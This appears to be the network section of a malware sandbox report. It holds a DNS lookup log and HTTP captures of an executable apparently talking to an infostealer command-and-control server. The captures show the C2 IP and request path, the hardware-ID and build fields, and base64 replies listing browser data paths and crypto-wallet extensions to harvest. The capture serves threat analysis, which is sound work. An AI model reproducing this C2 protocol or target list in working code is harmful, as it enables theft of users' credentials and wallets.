Nov 18, 2024 08:57:29.241745949 CET	1.1.1.1	192.168.2.7	0xc728	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:29.241745949 CET	1.1.1.1	192.168.2.7	0xc728	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.297254086 CET	1.1.1.1	192.168.2.7	0x29cd	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.298116922 CET	1.1.1.1	192.168.2.7	0x8257	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.330679893 CET	1.1.1.1	192.168.2.7	0xb24	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.339701891 CET	1.1.1.1	192.168.2.7	0x7680	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.431258917 CET	1.1.1.1	192.168.2.7	0xa58a	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.431472063 CET	1.1.1.1	192.168.2.7	0x322c	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.431472063 CET	1.1.1.1	192.168.2.7	0x322c	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.434931993 CET	1.1.1.1	192.168.2.7	0x728a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:29.434931993 CET	1.1.1.1	192.168.2.7	0x728a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:29.959904909 CET	1.1.1.1	192.168.2.7	0x31f5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.710354090 CET	1.1.1.1	192.168.2.7	0x612e	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:32.710354090 CET	1.1.1.1	192.168.2.7	0x612e	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.710519075 CET	1.1.1.1	192.168.2.7	0xe6e5	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:32.710519075 CET	1.1.1.1	192.168.2.7	0xe6e5	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.711227894 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.719441891 CET	1.1.1.1	192.168.2.7	0x8c78	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721211910 CET	1.1.1.1	192.168.2.7	0xfe43	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.721345901 CET	1.1.1.1	192.168.2.7	0xadb9	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.814888000 CET	1.1.1.1	192.168.2.7	0x6400	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 18, 2024 08:57:32.815505981 CET	1.1.1.1	192.168.2.7	0x2836	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 08:57:32.815505981 CET	1.1.1.1	192.168.2.7	0x2836	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 08:57:32.815505981 CET	1.1.1.1	192.168.2.7	0x2836	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 08:57:32.815505981 CET	1.1.1.1	192.168.2.7	0x2836	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 08:57:32.815958023 CET	1.1.1.1	192.168.2.7	0xf8a5	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 18, 2024 08:57:32.932044983 CET	1.1.1.1	192.168.2.7	0xe5f1	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:32.932044983 CET	1.1.1.1	192.168.2.7	0xe5f1	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.932044983 CET	1.1.1.1	192.168.2.7	0xe5f1	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.932044983 CET	1.1.1.1	192.168.2.7	0xe5f1	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.932044983 CET	1.1.1.1	192.168.2.7	0xe5f1	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.932185888 CET	1.1.1.1	192.168.2.7	0x4bf1	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.940352917 CET	1.1.1.1	192.168.2.7	0x7ec1	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:32.940352917 CET	1.1.1.1	192.168.2.7	0x7ec1	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:57:32.940352917 CET	1.1.1.1	192.168.2.7	0x7ec1	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.960167885 CET	1.1.1.1	192.168.2.7	0x55e3	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:32.961817980 CET	1.1.1.1	192.168.2.7	0x8fac	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:33.005822897 CET	1.1.1.1	192.168.2.7	0x2ba4	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:33.005822897 CET	1.1.1.1	192.168.2.7	0x2ba4	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:33.005822897 CET	1.1.1.1	192.168.2.7	0x2ba4	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:57:33.005822897 CET	1.1.1.1	192.168.2.7	0x2ba4	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
2024-11-18 07:55:43 UTC	162.159.61.3	192.168.2.7	0x0	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	true

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49706	185.215.113.206	80	6396	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:55:19.852591038 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 08:55:20.751163960 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:20.753976107 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 34 41 43 43 45 32 33 45 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="hwid"AD4ACCE23E653001675293------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build"mars------JDBKJJKEBGHIDGCBKJJD--
Nov 18, 2024 08:55:21.043956995 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 42 68 5a 47 4a 6b 59 6a 55 79 4d 47 56 6b 5a 6a 41 31 4f 44 6b 33 4d 7a 45 31 59 32 55 78 4e 7a 4a 6b 4d 32 4d 31 4d 57 49 30 4d 54 6c 6b 5a 44 49 32 59 6d 4d 77 5a 57 4d 34 4e 54 59 34 4d 44 55 34 5a 6d 45 33 59 6d 49 77 4f 54 49 77 59 54 56 69 4d 44 51 79 4e 7a 42 6d 5a 44 5a 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTBhZGJkYjUyMGVkZjA1ODk3MzE1Y2UxNzJkM2M1MWI0MTlkZDI2YmMwZWM4NTY4MDU4ZmE3YmIwOTIwYTViMDQyNzBmZDZhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 08:55:21.045751095 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="message"browsers------ECFCBKJDBFIJKFHIIDAA--
Nov 18, 2024 08:55:21.326977968 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 08:55:21.327047110 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 18, 2024 08:55:21.429671049 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"plugins------HCFBKKEBKEBGIDHIEHCF--
Nov 18, 2024 08:55:21.709211111 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 08:55:21.709249973 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
